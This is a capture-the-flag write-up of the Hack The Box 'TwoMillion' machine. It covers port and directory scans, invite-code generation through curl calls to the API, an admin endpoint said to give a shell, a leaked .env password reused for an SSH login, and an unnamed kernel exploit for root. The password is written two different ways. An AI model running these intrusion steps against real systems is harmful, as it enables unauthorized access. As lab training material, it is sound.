640 words
3 minutes
Two Million

TwoMillion#

Port Scans#

Open 10.10.11.221:22
Open 10.10.11.221:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sC" on ip 10.10.11.221
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.80 ( https://nmap.org ) at 2023-10-05 04:02 UTC
Scanning 10.10.11.221 (10.10.11.221) [2 ports]
Discovered open port 22/tcp on 10.10.11.221 
Discovered open port 80/tcp on 10.10.11.221 

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://2million.htb/ 
  • Open ports 22 - ssh / 80 - http

Dirsearch Results#

 dirsearch -u http://2million.htb/ -w /opt/wordlists/web/seclists-big.txt

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 20476

Output File: /home/trevohack/.dirsearch/reports/2million.htb/-_23-10-05_10-43-05.txt

Error Log: /home/trevohack/.dirsearch/logs/errors-23-10-05_10-43-05.log

Target: http://2million.htb/

[10:43:06] Starting: 
[10:43:13] 200 -    2KB - /404
[10:43:26] 401 -    0B  - /api
[10:43:28] 301 -  162B  - /assets  ->  http://2million.htb/assets/
[10:43:49] 301 -  162B  - /controllers  ->  http://2million.htb/controllers/
[10:43:51] 301 -  162B  - /css  ->  http://2million.htb/css/
[10:44:12] 301 -  162B  - /fonts  ->  http://2million.htb/fonts/
[10:44:22] 302 -    0B  - /home  ->  /
[10:44:27] 301 -  162B  - /images  ->  http://2million.htb/images/
[10:44:31] 200 -    4KB - /invite
[10:44:35] 301 -  162B  - /js  ->  http://2million.htb/js/
[10:44:43] 200 -    4KB - /login
[10:44:43] 302 -    0B  - /logout  ->  /
[10:45:31] 200 -    4KB - /register
[10:46:38] 301 -  162B  - /views  ->  http://2million.htb/views/

Web Enumeration#

website

  • Browsing to /invite may reveal a page asking for an invite code.

  • On the site, inviteapi.min.js loads everytime we reload the page.

  • Beatifying the javascript code may give an output like this:

function verifyInviteCode(code) {
    var formData = {
        "code": code
    };
    $.ajax({
        type: "POST",
        dataType: "json",
        data: formData,
        url: '/api/v1/invite/verify',
        success: function(response) {
            console.log(response)
        },
        error: function(response) {
            console.log(response)
        }
    })
}

function makeInviteCode() {
    $.ajax({
        type: "POST",
        dataType: "json",
        url: '/api/v1/invite/how/to/generate',
        success: function(response) {
            console.log(response)
        },
        error: function(response) {
            console.log(response)
        }
    })
}
  • Running the function makeInviteCode() on the console or doing a curl request may reveal the following.

invitecode

  • Decrypting the found rot13 cipher shows us this
In order to generate the invite code, make a POST request to /api/v1/invite/generate
  • Making a POST request to the given web path gives us a code
 curl -X POST 2million.htb/api/v1/invite/generate
{"0":200,"success":1,"data":{"code":"Q1BFRk0tN1YwWDYtM1M0QTMtUDBXMjE=","format":"encoded"}}
  • Decoding the it would give us a code CPEFM-7V0X6-3S4A3-P0W21

  • Later on, we could head on to the website and make a user.

registration

  • After, registration you will be redirected to http://2million.htb/home

home-page

Initial Access#

 curl -X GET \
  'http://2million.htb/api/v1' \
  -H 'Host: 2million.htb' \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' \
  -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' \
  -H 'Accept-Language: en-US,en;q=0.5' \
  -H 'Accept-Encoding: gzip, deflate, br' \
  -H 'Connection: close' \
  -H 'Cookie: PHPSESSID=ro74tjef9ne0g091ppuf8vjslp' \
  -H 'Upgrade-Insecure-Requests: 1' | jq .
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   800    0   800    0     0   1336      0 --:--:-- --:--:-- --:--:--  1337
{
  "v1": {
    "user": {
      "GET": {
        "/api/v1": "Route List",
        "/api/v1/invite/how/to/generate": "Instructions on invite code generation",
        "/api/v1/invite/generate": "Generate invite code",
        "/api/v1/invite/verify": "Verify invite code",
        "/api/v1/user/auth": "Check if user is authenticated",
        "/api/v1/user/vpn/generate": "Generate a new VPN configuration",
        "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
        "/api/v1/user/vpn/download": "Download OVPN file"
      },
      "POST": {
        "/api/v1/user/register": "Register a new user",
        "/api/v1/user/login": "Login with existing user"
      }
    },
    "admin": {
      "GET": {
        "/api/v1/admin/auth": "Check if user is admin"
      },
      "POST": {
        "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
      },
      "PUT": {
        "/api/v1/admin/settings/update": "Update user settings"
      }
    }
  }
}
  • Exploring the site, I found out something really interesting

burp1

  • Later on, I found a bind shell on /api/v1/admin/vpn/generate

burp2

Privilege Escalation#

  • After, getting a shell on the .env variable reveals a password SuperDuperPass12 for user admin.

  • Logging in via ssh

 sshpass -p 'SuperDuperPass123' ssh -o StrictHostKeyChecking=no admin@$VMIP 
  • After, some time looking through suids, linpeas I ran uname -a which reveal kernel info where I found an exploit for it later on.

  • Exploit

root

Rooted!#

Two Million
https://fuwari.vercel.app/posts/twomillion/
Author
Trevohack
Published at
2023-08-20